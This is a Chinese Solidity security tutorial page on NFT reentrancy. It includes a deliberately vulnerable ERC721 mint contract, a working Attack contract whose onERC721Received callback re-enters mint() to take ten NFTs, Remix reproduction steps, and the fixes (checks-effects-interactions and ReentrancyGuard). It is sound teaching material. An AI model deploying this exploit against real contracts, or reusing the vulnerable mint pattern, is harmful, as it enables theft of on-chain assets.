Skip to main content

WTF Solidity 合约安全: S16. NFT重入攻击

我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity 合约安全”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。

推特:@0xAA_Science@WTFAcademy_

社区:Discord微信群官网 wtf.academy

所有代码和教程开源在 github: github.com/AmazingAng/WTF-Solidity


这一讲,我们将介绍NFT合约的重入攻击漏洞,并攻击一个有漏洞的NFT合约,铸造10个NFT。

NFT重入风险

我们在S01 重入攻击中讲过,重入攻击是智能合约中最常见的一种攻击,攻击者通过合约漏洞(例如fallback函数)循环调用合约,将合约中资产转走或铸造大量代币。转账NFT时并不会触发合约的fallbackreceive函数,为什么会有重入风险呢?

这是因为NFT标准(ERC721/ERC1155)为了防止用户误把资产转入黑洞而加入了安全转账:如果转入地址为合约,则会调用该地址相应的检查函数,确保它已准备好接收NFT资产。例如 ERC721safeTransferFrom() 函数会调用目标地址的 onERC721Received() 函数,而黑客可以把恶意代码嵌入其中进行攻击。

我们总结了 ERC721ERC1155 有潜在重入风险的函数:

漏洞例子

下面我们学习一个有重入漏洞的NFT合约例子。这是一个ERC721合约,每个地址可以免费铸造一个NFT,但是我们通过重入攻击可以一次铸造多个。

漏洞合约

NFTReentrancy合约继承了ERC721合约,它主要有 2 个状态变量,totalSupply记录NFT的总供给,mintedAddress记录已铸造过的地址,防止一个用户多次铸造。它主要有 2 个函数:

  • 构造函数: 初始化 ERC721 NFT的名称和代号。
  • mint(): 铸造函数,每个用户可以免费铸造1个NFT。注意:这个函数有重入漏洞!
contract NFTReentrancy is ERC721 {
uint256 public totalSupply;
mapping(address => bool) public mintedAddress;
// 构造函数,初始化NFT合集的名称、代号
constructor() ERC721("Reentry NFT", "ReNFT"){}

// 铸造函数,每个用户只能铸造1个NFT
// 有重入漏洞
function mint() payable external {
// 检查是否mint过
require(mintedAddress[msg.sender] == false);
// 增加total supply
totalSupply++;
// mint
_safeMint(msg.sender, totalSupply);
// 记录mint过的地址
mintedAddress[msg.sender] = true;
}
}

攻击合约

NFTReentrancy合约的重入攻击点在mint()函数会调用ERC721合约中的_safeMint(),从而调用转入地址的_checkOnERC721Received()函数。如果转入地址的_checkOnERC721Received()包含恶意代码,就能进行攻击。

Attack合约继承了IERC721Receiver合约,它有 1 个状态变量nft记录了有漏洞的NFT合约地址。它有 3 个函数:

  • 构造函数: 初始化有漏洞的NFT合约地址。
  • attack(): 攻击函数,调用NFT合约的mint()函数并发起攻击。
  • onERC721Received(): 嵌入了恶意代码的ERC721回调函数,会重复调用mint()函数,并铸造10个NFT。
contract Attack is IERC721Receiver{
NFTReentrancy public nft; // 有漏洞的nft合约地址

// 初始化NFT合约地址
constructor(NFTReentrancy _nftAddr) {
nft = _nftAddr;
}

// 攻击函数,发起攻击
function attack() external {
nft.mint();
}

// ERC721的回调函数,会重复调用mint函数,铸造10个
function onERC721Received(address, address, uint256, bytes memory) public virtual override returns (bytes4) {
if(nft.balanceOf(address(this)) < 10){
nft.mint();
}
return this.onERC721Received.selector;
}
}

Remix复现

  1. 部署NFTReentrancy合约。
  2. 部署Attack合约,参数填NFTReentrancy合约地址。
  3. 调用Attack合约的attack()函数发起攻击。
  4. 调用NFTReentrancy合约的balanceOf()函数查询Attack合约的持仓,可以看到持有10个NFT,攻击成功。

预防方法

主要有两种办法来预防重入攻击漏洞: 检查-影响-交互模式(checks-effect-interaction)和重入锁。

  1. 检查-影响-交互模式:它强调编写函数时,要先检查状态变量是否符合要求,紧接着更新状态变量(例如余额),最后再和别的合约交互。我们可以用这个模式修复有漏洞的mint()函数:

        function mint() payable external {
    // 检查是否mint过
    require(mintedAddress[msg.sender] == false);
    // 增加total supply
    totalSupply++;
    // 记录mint过的地址
    mintedAddress[msg.sender] = true;
    // mint
    _safeMint(msg.sender, totalSupply);
    }
  2. 重入锁:它是一种防止重入函数的修饰器(modifier)。建议直接使用OpenZeppelin提供的ReentrancyGuard

总结

这一讲,我们介绍了NFT的重入攻击漏洞,并攻击了一个有漏洞的NFT合约,铸造了10个NFT。目前主要有两种预防重入攻击的办法:检查-影响-交互模式(checks-effect-interaction)和重入锁。